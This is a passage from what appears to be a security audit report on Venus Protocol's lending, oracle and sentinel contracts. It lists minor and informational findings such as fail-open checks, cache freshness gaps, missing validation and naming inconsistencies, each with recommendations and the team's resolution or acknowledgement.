Alice paid 1 BNB, the swap genuinely produced 300 USDC, but she ends up with vUSDC representing 1 300 USDC of supply. The extra 1 000 USDC was the pre-existing helper balance, now credited as Venus collateral against which the user can borrow. The original sender (Bob) has no recourse.

Recommendation

We recommend that the client consider the following fix directions:

1. **Structural — bind the sweep amount into the signature.** Extend `_hashMulticall()` and `sweep()` to commit to an `expectedAmount`, and revert if the helper's live balance exceeds it. This pairs naturally with the typehash extension recommended in Finding 8, since both involve coordinated `SwapHelper` + wrapper + backend changes. Should be done together if Finding 8 is being addressed.
2. **Interim mitigation — add a governance-gated `sweepStranded(token, recipient)`** on `SwapHelper` to reclaim accidentally-deposited balances before they are scooped by the next signed flow. Pair with a deployment-runbook requirement that the helper's per-token balance be monitored between operations and recovered when non-zero.

Caveats. A too-tight `expectedAmount` could reject legitimate swap variance; a botched implementation could introduce a worse failure (e.g., baseline-capture bugs stealing user input). The team should pick based on whether they are already committing to the broader signature-binding upgrade for `SwapHelper` (in which case option 1 is incremental work) or prefer to defer that coordinated change (in which case option 2 is sufficient for the realistic threat).

Alleviation

[Venus Labs, 05/29/2026]: Issue acknowledged. I won't make any changes for the current version.

The contract is designed solely for executing swaps, and we are using exact-input swap flows, which do not allow predicting the exact output token amount beforehand. We also do not intend to capture any positive slippage benefit for the protocol; instead, any excess output is effectively passed on to the users executing the swaps. Because of this design, we do not plan to add additional balance validation checks here. Any tokens transferred externally to the contract outside the intended flow may result in a loss of funds, and the party transferring those funds would be responsible for it.

VLC-49 Documented Same-Transaction Price-Freshness Guarantee Not Upheld By The Cache Logic In The Derivation Bounder Oracle

Category	Severity	Location	Status
Inconsistency	Minor	oracle-165b7c588bf4a960c508a29c38c6a38d1afd0149/contracts/DeviationBoundedOracle.sol (Update 1 06_01_2026): 657~658	Resolved

Description

The transient cache exists to skip redundant oracle calls within a transaction — but `_updateAndGetBoundedPrices()` trusts it *before* re-checking spot, and `updateProtectionState()` (which fills it) is permissionless. The cache is shared per-asset for the whole tx, so whoever calls first "freezes" the price: an attacker primes a benign value, then a later same-tx read (e.g. the Comptroller liquidity check) reuses it instead of the manipulated spot, skipping protection — breaking the NatSpec's "up-to-date price" promise. Although the impact may be small (bounded by the window slack, ≤ the trigger threshold) and gated by the governance-only, per-asset cachingEnabled flag, the documented guarantee is still not upheld.

Recommendation

We suggest that the client trust the cache only *after* a fresh check — run `_fetchSpotPrice()` / `_expandPriceWindow()` / `_checkAndTriggerProtection()` first. If the optimization stays, correct the NatSpec and enable `cachingEnabled` only where same-tx priming is acceptable.

Alleviation

[CertiK, 06/10/2026]: The team heeded the advice and resolved the inconsistency by updating the documentation to clarify that the transient cache freezes the first computed value for the rest of the transaction and should only be enabled for assets whose prices cannot move within a single transaction, in commit ddbf66dd953a944d1937733c1eed7096c1db8183.

VLC-50 `claimVenus()` Ignores The Liquidity-Check Error Code And Fails Open, Releasing Liquid XVS To A Shortfall Holder During Pricing Failures

Category	Severity	Location	Status
Volatile Code	Minor	venus-protocol-2f3c0cdb884e60dcaab240f56d764e4d839de6a3/contracts/Comptroller/Diamond/facets/RewardFacet.sol (Update 1 06_01_2026): 250~251	Resolved

Description

In `claimVenus()`, the shortfall gate reads only the third return value of `getHypotheticalAccountLiquidityInternal()` and discards the `Error` code (`(, , uint256 shortfall) = …`). When that check fails with an error code instead of reverting — e.g. a price/lens failure returns `(PRICE_ERROR, 0, 0)` — `claimVenus()` interprets it as `shortfall == 0` and grants the holder's XVS as a **liquid transfer rather than blocking it or routing it to the collateral path**. So during an oracle/bounded-price/snapshot failure an actually-underwater holder can extract liquid XVS that the gate is meant to withhold. Impact is limited: it only applies to error-*returning* failure modes (most oracle failures revert, so they fail closed), during the failure window, and only for the holder's own accrued XVS.

Recommendation

We recommend that the client check the `Error` return in `claimVenus()` and fail closed on any non-zero code — revert (or skip that holder) so XVS is released only when the liquidity check completes successfully and confirms no shortfall.

Alleviation

[CertiK, 06/10/2026]: The team heeded the advice and resolved the issue by checking the liquidity calculation error code and skipping reward distribution when liquidity cannot be safely determined, in commit 59091b5a13ff73436060cc5cf9b1a60da7c91c5f.

VLC-51 Supply-Cap Emergency Halt Can Be Skipped On An Exchange-Rate-Read Failure

Category	Severity	Location	Status
Volatile Code	Minor	venus-periphery-b8ad0b302ed4234c5ad302f8cc67e00ec8045ffc/contracts/Executor/Executor.sol (Update 1 06_01_2026): 133~137, 145~146	Resolved

Description

`handleSupplyCapExceeding()` should default to halting and only decline when it can prove no breach (`supplyUnderlying < supplyCap`); the contract states a fail-closed intent (*"an un-haltable draining market is not [recoverable]"*). But the halt is gated on an exchange-rate read performed first, which can fail open:

- If `exchangeRateCurrent()` reverts, it uses the stale `exchangeRateStored()` (`≤ current`), understating supply — a market over cap can read as under → `CapNotBreached` → halt skipped.
- If `exchangeRateStored()` also reverts (`reserves > cash + borrows`), the whole call reverts, blocking even the `supplyCap == 0` halt.

The understatement is only the un-accrued interest since the last accrual, so it changes the outcome only for a market right at the cap edge; a genuine large breach still halts. The double-revert case requires a near-insolvent state. The function is ACM-gated, and the market remains pausable via the multisig → EBrake path and governance VIP.

Recommendation

We recommend that the client:

1. Read `supplyCap` first and halt immediately when `supplyCap == 0` (no rate needed)
2. Otherwise, drop the `exchangeRateStored()` fallback and, if `exchangeRateCurrent()` reverts, proceed with the halt — using the exchange rate only to reject a halt, never to gate one.

Same for `handleBorrowCapExceeding()` .

Alleviation

[CertiK, 06/10/2026]: The team heeded the advice and resolved the issue by making the emergency halt logic fail closed when cap-check reads fail, so failed exchange-rate or borrow reads no longer prevent the halt from being executed, in commit 39c849c88dcd9432d234afc2f87dcca75a1eba38.

VLC-55 | `DeviationSentinel` Fails Open When An Oracle Reverts

Category	Severity	Location	Status
Volatile Code	Minor	venus-periphery-39c849c88dcd9432d234afc2f87dcca75a1eba38/contracts/DeviationSentinel/DeviationSentinel.sol (Update 2 06_10_2026): 199~200, 229~237	Acknowledged

Description

`checkPriceDeviation()` reads `RESILIENT_ORACLE.getPrice()` and `SENTINEL_ORACLE.getPrice()` with no `try/catch`. It fails *closed* only on a returned price of 0, but the configured oracles signal failure by **reverting**, not by returning 0 (`ResilientOracle` : paused / `"invalid resilient oracle price"` ; `SentinelOracle` DEX adapters: `CurveOracle dy==0→ZeroPrice` , `InvalidPool`). The revert propagates up and aborts `handleDeviation()` before any EBrake action — so the sentinel fails open exactly when an oracle is paused, unpriced, or a monitored pool has zero liquidity. Bounded: `onlyKeeper` , and the multisig→EBrake path and governance VIP still apply (tighten-only) — a degraded-automation gap in one monitor, not fund loss.

Recommendation

We recommend that the client wrap the two `getPrice()` reads in `try/catch` and treat a revert like the existing `price == 0` case, keeping that branch as defense-in-depth and scoping it so an induced oracle revert (e.g. draining a sentinel pool to force `ZeroPrice`) cannot become a cheap false-positive halt.

Alleviation

[Venus Labs, 06/15/2026]: Issue acknowledged. I won't make any changes for the current version.

The resilient oracle already causes core pool operations (e.g., borrow) to revert when the oracle fails, so the system is effectively fail-closed today. As for the CurveOracle oracle, it's acceptable to handle failures through monitoring alerts and operational response rather than directly restricting the market. A reverted transaction should be detected and acted upon by monitoring, without directly adding market-level restrictions.

VLC-56 `CorrelatedTokenOracle.setSnapshot()` Lacks Input Validation, Allowing Silent Cap-Disable Or Price DoS

Category	Severity	Location	Status
Volatile Code, Denial of Service	Minor	oracle-ddbf66dd953a944d1937733c1eed7096c1db8183/contracts/oracles/common/CorrelatedTokenOracle.sol (Update 2 06_10_2026): 120~121	Resolved

Description

`setSnapshot()` is the manual governance override for the growth-cap baseline (`snapshotMaxExchangeRate`, `snapshotTimestamp`), but — unlike the constructor and `updateSnapshot()` — it validates neither field:

- `_snapshotMaxExchangeRate == 0` (while `snapshotInterval != 0`) makes `getMaxAllowedExchangeRate()` return 0, which `getPrice()`'s `maxAllowedExchangeRate != 0` guard treats as *no cap* — the raw, uncapped exchange rate flows into pricing (DS2-88).
- `_snapshotTimestamp > block.timestamp` (a future time) makes `block.timestamp - snapshotTimestamp` underflow (Solidity 0.8) in `getMaxAllowedExchangeRate()`, reverting `getPrice()` and DoS-ing the asset's price (DS2-87).

The constructor (`InvalidInitialSnapshot`) and `updateSnapshot()` (`InvalidSnapshotMaxExchangeRate`, and `block.timestamp`) both maintain these invariants; `setSnapshot()` is the sole mutator that breaks them. Governance-only and recoverable, but a silent misconfiguration footgun.

Recommendation

We recommend that the client reject `_snapshotMaxExchangeRate == 0` in `setSnapshot()` when `snapshotInterval != 0`, and reject `_snapshotTimestamp > block.timestamp` — mirroring the invariants the constructor and `updateSnapshot()` already enforce.

Alleviation

[CertiK, 06/16/2026]: The team heeded the advice and resolved the issue by adding validation to `setSnapshot()` function so that, while snapshot capping is active, zero snapshot max exchange rates and zero or future snapshot timestamps are rejected, preventing silent cap disablement and price-read reverts from invalid snapshot state, in commit de41efd728137d1862e56ea832e6eb9b0f110bf8.

VLC-22 | Unclear Comment

Category	Severity	Location	Status
Coding Style	Informational	contracts/Tokens/VTokens/VToken.sol (core): 1864~1866, 1890~1891	Resolved

Description

In `VToken.exchangeRateStoredInternal()`, the exchange rate formula in the comment shows `totalCash` and `flashLoanAmount` being two separate values:

```
1864              *  exchangeRate = (totalCash + totalBorrows + flashLoanAmount -
totalReserves) / totalSupply
1865              */
1866             uint totalCash = _getCashPriorWithFlashLoan();
```

However, the `totalCash` variable used in computation contains the `flashLoanAmount`:

```
1890         return getCashPrior() + flashLoanAmount;
```

Recommendation

We recommend renaming `totalCash` variable or modifying the formula in the comment to ensure consistency.

Alleviation

[CertiK, 06/01/2026]: The team heeded the advice and resolved the issue by correcting the exchange-rate comment in `VToken.exchangeRateStoredInternal()` to clarify that `totalCash` already includes `flashLoanAmount`, eliminating the inconsistency between the documentation and the implementation, in commit e290817a1a049ade66d3dafbe4355cd814f151ec.

VLC-23 Lens Helper Functions Use Getter-Style Interfaces While Internally Performing State-Changing Operations

Category	Severity	Location	Status
Design Issue	Informational	contracts/Lens/SnapshotLens.sol (core 3c4d06f): 54~57, 78~82; contracts/Lens/VenusLens.sol (core 3c4d06f): 159~160, 292~293, 408~426	Resolved

Description

Several helper functions in `VenusLens.sol` and `SnapshotLens.sol` are named and used like read-oriented metadata getters, but they internally invoke state-changing protocol operations. For example:

- `VenusLens.getXVSBalanceMetadataExt`, triggers reward claiming through the Comptroller
- `SnapshotLens.getAccountSnapshot`, calls freshness and accounting functions such as `exchangeRateCurrent()` and `balanceOfUnderlying()`
- Helpers in `VenusLens.sol` depend on functions like `borrowBalanceCurrent()` and `exchangeRateCurrent()`, both of which alter contract state

Although these functions are not labeled as `view` and their state changes are permitted elsewhere in the protocol, their naming and usage patterns may mislead users and integrators. Users might expect these functions to operate as passive, read-only operations without side effects, while in practice, they can:

- Accrue interest or update user balances
- Claim protocol rewards for the caller
- Consume more gas than anticipated for a simple read
- Require a real transaction to take full effect, rather than behaving like a simple read

Because these helpers are exposed through lens-style interfaces, integrators may reasonably treat them as passive reads even though some of them can accrue interest, update balances, or claim rewards. Making that distinction more explicit would help set clearer expectations and reduce incorrect integration assumptions.

Recommendation

We recommend clearly separating read-only lens functions from those that modify state, both in code organisation and in function naming. Functions that cause side effects, such as claiming rewards or accruing interest, should be explicitly named to indicate their transactional nature, and documentation should highlight any state changes that occur. Developers should ensure passive read helpers perform strictly side-effect-free operations wherever feasible, and the scope of each function—whether it modifies state or not—should be clearly communicated to users and integrators through function names and comments.

Alleviation

[CertiK, 06/01/2026]: The team heeded the advice and resolved the issue by updating the NatSpec and inline documentation of the affected lens helpers to make their state-changing behavior explicit, clarifying that functions such as reward-balance and account-snapshot helpers may accrue interest, update accounting, or trigger reward claims rather than acting as passive reads, in commit 843d2e4776e93869cc57edaded7469241237fb9d.

VLC-24 Inconsistent Use Of Named Return Values And Named Mapping Keys In Interfaces And Storage

Category	Severity	Location	Status
Coding Style	Informational	contracts/Tokens/VTokens/VTokenInterfaces.sol (core): 108 ~109	Acknowledged

Description

The codebase compiles with Solidity 0.8.25, which supports both named return values (long-standing) and named mapping keys (introduced in 0.8.18, e.g., `mapping(address user => uint256 balance) public balances`). The use of these features across the in-scope contracts is inconsistent. Many interface declarations — particularly in `VTokenInterfaces.sol` — return unnamed values, and tuple returns are especially opaque (for example, `getAccountSnapshot()` returns four anonymous `uint`s, forcing readers to consult the implementation to know what each position represents). Mappings are almost universally declared without key/value names, with a single exception (`isForcedLiquidationEnabledForUser`) and one commented-out attempt (`approvedDelegates`) showing the team is aware of the feature but has not adopted it consistently.

These are cosmetic and documentation concerns, not correctness issues. The compiled bytecode and behavior are unchanged whether names are present or not. The benefit is in-line self-documentation: named returns and named mapping keys make signatures and storage layouts easier to navigate for integrators, auditors, and future maintainers, and reduce the chance of mis-ordered arguments when consuming tuple returns.

Recommendation

We recommend that the client consider adopting a consistent in-line naming discipline across the in-scope contracts:

1. **Named return values** on function declarations where the return type alone is not self-explanatory, especially in interfaces and for multi-value tuple returns (e.g., `getAccountSnapshot() returns (uint err, uint vTokenBalance, uint borrowBalance, uint exchangeRate)`).
2. **Named keys and values** on new mapping declarations using the Solidity 0.8.18+ syntax (`mapping(address user => uint256 balance)`), following the precedent already set by `isForcedLiquidationEnabledForUser`.

This is a long-running cleanup rather than an urgent rewrite. The team may prefer to apply it incrementally — for example, on new contracts and on declarations that are touched as part of other changes — rather than do a sweep across all in-scope files, since blanket renames carry their own cost (review burden, merge conflicts with in-progress branches, churn in deployment artifacts). No behavior change should result, and the cleanup can be deferred or split across multiple PRs without security impact.

Alleviation

[Venus Labs, 05/29/2026]: Issue acknowledged. I won't make any changes for the current version.

Cosmetic / documentation concern with no behavioural impact. We will adopt the named-key / named-return style incrementally as touched files are updated.

VLC-25 | Legacy Code Artifacts In `_addReservesFresh()`

Category	Severity	Location	Status
Coding Issue	Informational	contracts/Tokens/VTokens/VToken.sol (core): 1713~1714	Resolved

Description

`_addReservesFresh()` contains two legacy artifacts from the Compound V2 codebase (Solidity 0.5.x). First, the manual overflow check `require(totalReservesNew >= totalReserves, "add reserves unexpected overflow")` is redundant under Solidity 0.8.25, which reverts automatically on arithmetic overflow. Second, the function returns a tuple `(uint, uint)` where the second value (`actualAddAmount`) is discarded by its only caller `_addReservesInternal()` .

Note: More broadly, the same Compound V2 pre-0.8 idiom (manual error-code plumbing via `MathError` and the `addUInt` / `subUInt` / `mulUInt` / `divUInt` helpers) is used throughout `VToken` and its inherited contracts; while every occurrence is *technically* redundant under Solidity 0.8.25, a wholesale modernisation is a larger refactor that would benefit from its own dedicated review.

Recommendation

We recommend that the client remove the redundant overflow check in `_addReservesFresh()` (or replace the raw `+` with the `addUInt` helper used elsewhere for consistency, until the broader cleanup happens) and simplify its return signature to a single `uint` error code. The wider modernisation of the `MathError` idiom can be deferred and addressed incrementally; this finding flags only the specific case in `_addReservesFresh()` .

Alleviation

[CertiK, 06/01/2026]: The team heeded the advice and resolved the issue by removing the redundant overflow check from `_addReservesFresh()` and simplifying its return signature to eliminate the unused second return value, aligning the implementation with Solidity 0.8 behavior, in commit 2f3c0cdb884e60dcaab240f56d764e4d839de6a3.

VLC-26 | Local Variable Naming Inconsistency In VToken

Category	Severity	Location	Status
Coding Style	Informational	contracts/Tokens/VTokens/VToken.sol (core): 826	Resolved

Description

Typo in `transferTokens()`. The local variable `srvTokensNew` in `transferTokens()` should be `srcTokensNew`, consistent with the `src` parameter it derives from (and matching the existing `dstTokensNew` paired with the `dst` parameter). The typo appears at three sites: the declaration, the `subUInt` call that populates it, and the `accountTokens[src] = srvTokensNew` assignment.

Inconsistent naming for `MathError` locals. The same `MathError` local-variable concept is given three different names across `VToken.sol`: `mathErr` (9 occurrences), (`mErr` — 4 occurrences), (`err` — 2 occurrences).

The private helper `ensureNoMathError(MathError mErr)` further entrenches the `mErr` form in its parameter name.

No functional issue results from the inconsistency, but it forces readers to context-switch between names that refer to the same thing. Similar smaller naming inconsistencies exist in other files in scope (for example, `err` vs `error` in MarketFacet, `errorCode` vs `err` in LeverageStrategiesManager, and `paused_` / `paused` / `pauseState` / `state` in SetterFacet).

Recommendation

We recommend the client rename `srvTokensNew` to `srcTokensNew` in `transferTokens()` and standardise the MathError local-variable name across VToken.sol (and the `ensureNoMathError()` parameter) on a single form — `mathErr` is the natural choice since it is already the most-used. The smaller inconsistencies in other files can be addressed at the team's discretion as part of routine cleanup. **All such changes are purely cosmetic with no behaviour impact** and can be applied incrementally.

Alleviation

[CertiK, 06/01/2026]: The team heeded the advice and resolved the issue by cleaning up local naming in `VToken`, including renaming the typoed `srvTokensNew` variable to `srcTokensNew` and standardizing internal math-error variable naming for better readability and consistency, in commit ae47781793672e4be1abe94044c766128baa246b.

VLC-27 | Redundant Cast In `getCorePoolMarket()`

Category	Severity	Location	Status
Coding Style	Informational	contracts/Comptroller/Diamond/facets/FacetBase.sol (core 3c4d06f): 258~260	Resolved

Description

In `getCorePoolMarket(address vToken)`, the expression `address(vToken)` is redundant since `vToken` is already of type `address`. The cast has no effect and adds unnecessary verbosity.

Recommendation

We recommend that the client remove the cast and use `vToken` directly.

Alleviation

[CertiK, 06/01/2026]: The team heeded the advice and resolved the issue by removing the redundant `address(vToken)` cast in `getCorePoolMarket()` and using `vToken` directly, simplifying the code without changing behavior, in commit 61ef0a6b604b6663933023ef3f291bd6bc9e9ce4.

VLC-28 | Misleading Oracle Freshness Metadata

Category	Severity	Location	Status
Coding Issue	Informational	contracts/oracles/StableUsdtPriceFeed.sol (oracle): 36~41, 60~63	Acknowledged

Description

The `StableUsdtPriceFeed.latestRoundData()` function returns a price obtained from `StableUsdtPriceFeed.getPrice()`, but it populates the round metadata fields `roundId`, `startedAt`, `updatedAt`, and `answeredInRound` using the current `block.timestamp`, rather than metadata reflecting when the price was last updated in the underlying oracle. This results in metadata that indicates the price was updated at the time of each function call, regardless of the actual age or origin of the underlying price data.

While the `StableUsdtPriceFeed.getPrice()` function returns the latest price produced by the oracle system, it does not guarantee that the value was updated at the current block timestamp. Because `StableUsdtPriceFeed.latestRoundData()` derives all round metadata directly from `block.timestamp`, any downstream contract or application relying on `updatedAt`, `startedAt`, `roundId`, or `answeredInRound` for freshness or round validation will interpret the price as newly updated and associated with a fresh oracle round. As a result, older prices can be misinterpreted as recent by consuming systems. The implementation therefore prevents external consumers from determining the true freshness or upstream round context of the returned price data based on the metadata exposed.

Recommendation

We recommend that the `StableUsdtPriceFeed.latestRoundData()` function returns the actual metadata from the underlying oracle that reflects when the price was last updated, rather than synthesizing `roundId`, `startedAt`, `updatedAt`, and `answeredInRound` from `block.timestamp`. If the underlying oracle does not support retrieving reliable metadata, the `latestRoundData()` interface should be removed or modified to avoid misleading downstream systems.

As an alternative, the implementation should clearly document in both the code and associated documentation that the returned round metadata does not represent the true freshness or provenance of the price and must not be used for staleness checks or round-based validation.

Alleviation

[Venus Labs, 05/29/2026]: Issue acknowledged. I won't make any changes for the current version.

The uint256 startedAt and uint256 updatedAt values are intentionally overridden in StableUsdtPriceFeed because the contract does not return the exact value from a single underlying feed. Instead, the returned price depends on the Resilient Oracle architecture, which may select data from multiple feeds. Additionally, the contract applies capping logic, which can further cause the final returned price to differ from the raw underlying feed value. Because of this, the associated timestamps are also adjusted accordingly. Furthermore, this contract is not used directly by markets, The contract would only be used when necessary, and any related side effects would be taken into account.

VLC-29 Unbounded Loops May Impact Operability As Pool Count Grows

Category	Severity	Location	Status
Volatile Code	Informational	contracts/Comptroller/Diamond/facets/MarketFacet.sol (core 3c4d06f): 279~280; contracts/DeviationSentinel/DeviationSentinel.sol (periphery): 237~238	Acknowledged

Description

Several protocol operations rely on loops whose gas cost scales linearly with the size of dynamically growing storage structures. For example:

1. `resetMarketState()` iterates from `corePoolId` to `lastPoolId`, causing gas consumption to scale with the number of configured pools;
2. `exitMarket()` performs a linear search over the user's entered-market array before executing a swap-and-pop removal.

While these operations are expected to remain manageable under current protocol usage assumptions, future protocol expansion, additional pools, or increasingly complex user strategies may gradually increase their operational cost.

In particular, `resetMarketState()` appears intended for operational recovery or administrative maintenance flows, where predictable executability may remain desirable even as the protocol grows.

Recommendation

The client may consider progressively introducing more scalable iteration patterns for long-term maintainability, such as:

1. Bounded/paginated processing for administrative loops,
2. Auxiliary index-tracking structures for O(1) removals,
3. Or selective tracking of modified entities requiring reset operations.

Such approaches would however introduce additional storage writes and implementation complexity, and may therefore be evaluated depending on future protocol growth expectations.

Alleviation

[Venus Labs, 05/29/2026]: Issue acknowledged. I won't make any changes for the current version.

The concerned piece of code is no longer part of the contract, as the latest audited changes have already removed it.

VLC-30 `sweepTokenAndSync()` Documentation Understates Its Accounting Role

Category	Severity	Location	Status
Governance	Informational	contracts/Tokens/VTokens/VBep20.sol (core 3c4d06f): 253~258	Resolved

Description

`sweepTokenAndSync()` is documented mainly as a migration helper and a way to sweep excess tokens before syncing `internalCash`. In practice, it has a broader role: it force-resets `internalCash` to the market's actual underlying balance. Since `internalCash` is the mechanism used to protect the market against donation attacks, calling `sweepTokenAndSync(0)` can be used not only after an upgrade, but also to intentionally incorporate a legitimate donation into tracked cash or, more generally, to realign accounting after external balance drift. The current documentation does not make these expected use cases clear nor the intended policy for the swept funds.

Recommendation

We recommend that the client update the natspec to describe `sweepTokenAndSync()` as a general admin resynchronization function for `internalCash`, not only as a migration or excess-sweep helper. The documentation should also clarify its relation to donation-attack protection, when `transferAmount = 0` is expected to be used, and whether legitimate donations are meant to be incorporated through this function. If the function is only meant as a temporary transitional tool pending a future upgrade, that should also be stated clearly. User-facing documentation should be updated accordingly.

Alleviation

[CertiK, 06/01/2026]: The team heeded the advice and resolved the issue by updating the `sweepTokenAndSync()` NatSpec to describe it as the general admin resynchronization entrypoint for `internalCash`, explicitly clarifying its use for migration, donation-accounting realignment and intentional donation incorporation, in commit f5059b02af2cbc1f584f47c58b55b738705cb207.

VLC-31 `DeviationSentinel` Does Not Validate Nonzero Core Pool Comptroller Address At Construction

Category	Severity	Location	Status
Inconsistency	Informational	contracts/DeviationSentinel/DeviationSentinel.sol (peripher y): 150~151	Acknowledged

Description

In the DeviationSentinel constructor, `resilientOracle_` and `sentinelOracle_` are checked against the zero address, but `corePoolComptroller_` is not. This is inconsistent with the contract's logic, since `CORE_POOL_COMPTROLLER` is used to distinguish Core Pool markets from isolated-pool markets in functions such as `resetMarketState()`, `_setCollateralFactorToZero()`, and `_restoreCollateralFactor()`. If a zero address were mistakenly supplied at deployment, Core Pool markets would be routed through the isolated-pool branch, leading to incorrect collateral-factor handling. While this is a deployment-time misconfiguration risk rather than a user-triggerable issue, the parameter appears logically mandatory and should be validated like the other critical constructor inputs.

Recommendation

We recommend that the client add a zero-address check for `corePoolComptroller_` in the constructor for consistency and to harden deployment-time validation of critical configuration.

Alleviation

[Venus Labs, 05/29/2026]: Issue acknowledged. I won't make any changes for the current version.

The concerned piece of code is no longer part of the contract, and the corresponding changes have already been audited.

VLC-32 `OneJumpOracle` Precondition On `INTERMEDIATE_ORACLE` Is Undocumented

Category	Severity	Location	Status
Volatile Code	Informational	contracts/oracles/OneJumpOracle.sol (oracle): 55~56	Resolved

Description

`OneJumpOracle.getUnderlyingAmount()` is correct only if `INTERMEDIATE_ORACLE.getPrice()` returns a `UNDERLYING_TOKEN`-per-`CORRELATED_TOKEN` (and not per-USD) ratio. However, this precondition is not stated in the NatSpec. A USD-denominated feed would inflate the result dramatically. Although the snapshot cap in CorrelatedTokenOracle bounds the damage when `snapshotInterval > 0`, no such protection exists when it is zero.

Recommendation

We recommend that the client document the ratio-denomination requirement in NatSpec on `INTERMEDIATE_ORACLE` and `getUnderlyingAmount()` to avoid misconfiguration.

Alleviation

[CertiK, 06/01/2026]: The team heeded the advice and resolved the issue by documenting in `OneJumpOracle` NatSpec that `INTERMEDIATE_ORACLE` must return an `UNDERLYING_TOKEN`-per-`CORRELATED_TOKEN` ratio rather than a USD-denominated price, making the required denomination explicit and reducing misconfiguration risk, in commit 007a6f246ac1e892056d84ee19e01e5bbdbc857c.

VLC-33 Silent Sentinel Disablement When The DEX Pool's Bridge-Asset Price Reverts

Category	Severity	Location	Status
Volatile Code	Informational	contracts/DeviationSentinel/Oracles/PancakeSwapOracle.sol (periphery): 103	Acknowledged

Description

The sentinel adapters price a target token as `slot0() ratio × ResilientOracle.getPrice(bridgeToken)`, where the *bridge token* is the other side of the configured v3 pool (e.g., USDC in `THE/USDC`). The sentinel therefore depends on **two `ResilientOracle` lookups**: the target's, and the bridge's. If the bridge lookup reverts, the entire sentinel path reverts and `handleDeviation()` becomes a silent no-op, even when the protocol's main pricing of the target is still working. No on-chain signal is emitted to flag that the second-opinion check has been disabled.

Although this is unlikely in practice since sentinel pools are expected to be deep and paired with blue-chip bridges (USDC, WBNB, WETH) whose `ResilientOracle` configurations have redundant feeds, and `SentinelOracle.setDirectPrice()` provides a governance escape hatch to bypass the DEX adapter entirely, the disablement is silent and depends on both configuration discipline (only blue-chip bridges) and monitoring discipline (detecting the state in time for governance to act) and it can easily be addressed on-chain.

Recommendation

We recommend that client consider the following steps:

1. Wrap the `RESILIENT_ORACLE.getPrice(bridgeToken)` call in `try/catch`, return a "no opinion" sentinel value rather than reverting, and **emit a `SentinelOracleDegraded(bridgeToken)` event so monitoring can detect the disabled state**.
2. Add a deployment-runbook requirement that every sentinel pool be paired with a blue-chip bridge asset that has redundant `ResilientOracle` feeds.

Alleviation

[Venus Labs, 05/29/2026]: Issue acknowledged. I won't make any changes for the current version.

The current behavior is intentional. It is acceptable for the transaction to revert due to a bridge lookup failure. The monitoring system will raise such reverts as alerts, and the required actions can then be taken manually if needed.

VLC-34 | Risks If `stETH` Market Price Declines Significantly

Category	Severity	Location	Status
Design Issue	Informational	contracts/oracles/WstETHOracleV2.sol (oracle): 13	Acknowledged

Description

This update allows 1stETH to be assumed to be equal to 1 WETH and use the market price of WETH, rather than referencing the market price of stETH through an oracle. Using the market price of stETH as the reference can increase the risk of liquidations if stETH temporarily deviates from its fundamental value, a situation that may occur naturally during ETH price drawdowns. By decoupling liquidation conditions from the market-driven price, the system reduces the potential for liquidation events triggered by short-term price discrepancies.

While this is optimal in most scenarios, there are extreme cases where the market price of stETH may decline significantly below the assumed exchange rate. If this decreases by more than the liquidation threshold, it allows for continuous arbitrage within the protocol. In such a case, the market would need to be frozen quickly to avoid severe instability.

Recommendation

We recommend ensuring that users are aware of the trade-offs associated with these changes and that sufficient mitigations are in place to handle the more extreme cases.

Alleviation

[Venus Labs, 05/29/2026]: Issue acknowledged. I won't make any changes for the current version.

The trade-off is documented and intentional; in the tail scenario where stETH market price diverges materially from ETH the response is governance-level (market freeze / parameter adjustment via VIP).

VLC-35 `WstETHOracle` Equivalence Mode Can Ignore StETH Market Price

Category	Severity	Location	Status
Design Issue	Informational	contracts/oracles/WstETHOracle.sol (oracle): 18~19, 70~71	Acknowledged

Description

`WstETHOracle` supports two pricing modes controlled by the immutable `ASSUME_STETH_ETH_EQUIVALENCE` flag.

When the flag is disabled, the oracle prices wstETH using the market price of stETH:

```
    RESILIENT_ORACLE.getPrice(address(STETH));
```

When the flag is enabled, the oracle instead prices wstETH using the WETH price:

```
    RESILIENT_ORACLE.getPrice(WETH_ADDRESS);
```

The oracle assumes `1stETH = 1 ETH`. If stETH trades materially below ETH, wstETH may be overvalued compared with a market-price-based valuation.

Recommendation

We recommend documenting which deployed `WstETHOracle` instance uses equivalence mode and ensuring `ResilientOracle` configuration can be updated promptly if stETH market conditions make that mode unsafe. Prefer market-price-based stETH pricing for deployments where wstETH is used in solvency-sensitive contexts.

Alleviation

[Venus Labs, 05/29/2026]: Issue acknowledged. I won't make any changes for the current version.

ASSUME_STETH_ETH_EQUIVALENCE is a public constant, so its behavior and usage are fully transparent on-chain. The intended behavior is also already documented within the contract itself.

Further optimizations may be implemented in the future as needed.

VLC-39 Global Market Membership Persists Despite Zero Collateral Value After Pool Switch

Category	Severity	Location	Status
Design Issue	Informational	contracts/Comptroller/Diamond/facets/MarketFacet.sol (core 3c4d06f): 247~248	Acknowledged

Description

The current pool model preserves entered-market membership at the Core Pool level even after a user switches to a different pool.

Within the codebase, entered-market membership is tracked globally through the Core Pool `accountMembership` state, while pool selection only changes the valuation parameters applied to entered assets for solvency and liquidation calculations. Thus, **after a user switches pools, an asset may have zero effective collateral value in the selected pool while still remaining in the user's entered-market set until the user explicitly calls** `MarketFacet.exitMarket()`.

This may be an intentional collateral-membership semantic of the protocol. In particular, preserving entered-market status across pool switches may allow users to temporarily stop using an asset as effective collateral in a given pool while retaining the ability to later reuse the same market without having to re-enter it.

Recommendation

We request confirmation from the team as to whether this behavior is an intentional part of the protocol's collateral-membership model, in which case the documentation and UI flows should clearly reflect and align with this design assumption.

Alleviation

[Venus Labs, 05/29/2026]: Issue acknowledged. I won't make any changes for the current version.

The behavior is intended and is clearly documented in the docs.

VLC-40 Partial Settlement In `releaseToVault()` May Discard Accrued Vault Rewards

Category	Severity	Location	Status
Design Issue, Volatile Code	Informational	contracts/Comptroller/ComptrollerStorage.sol (core 3c4d06f): 169~178; contracts/Comptroller/Diamond/facets/FacetBase.sol (core 3c4d06f): 101~102; contracts/Comptroller/Diamond/facets/SetterFacet.sol (core 3c4d06f): 515~541; contracts/Comptroller/Diamond/facets/XVSRewardsHelper.sol (core 3c4d06f): 77~80, 106~109	Acknowledged

Description

The `releaseToVault()` function computes the total XVS accrued for the VAI Vault since `releaseStartBlock` as:

- `releaseAmount_ = venusVAIVaultRate * (currentBlock - releaseStartBlock)`

If the Comptroller balance is insufficient, the function caps the transfer:

- `actualAmount = min(releaseAmount_, xvsBalance)`

When `actualAmount >= minReleaseAmount`, the function resets `releaseStartBlock` to the current block, even if only a partial amount is paid. The unpaid portion is not stored or carried forward, effectively **discarding part of the previously accrued rewards**, as future accrual restarts from the new block.

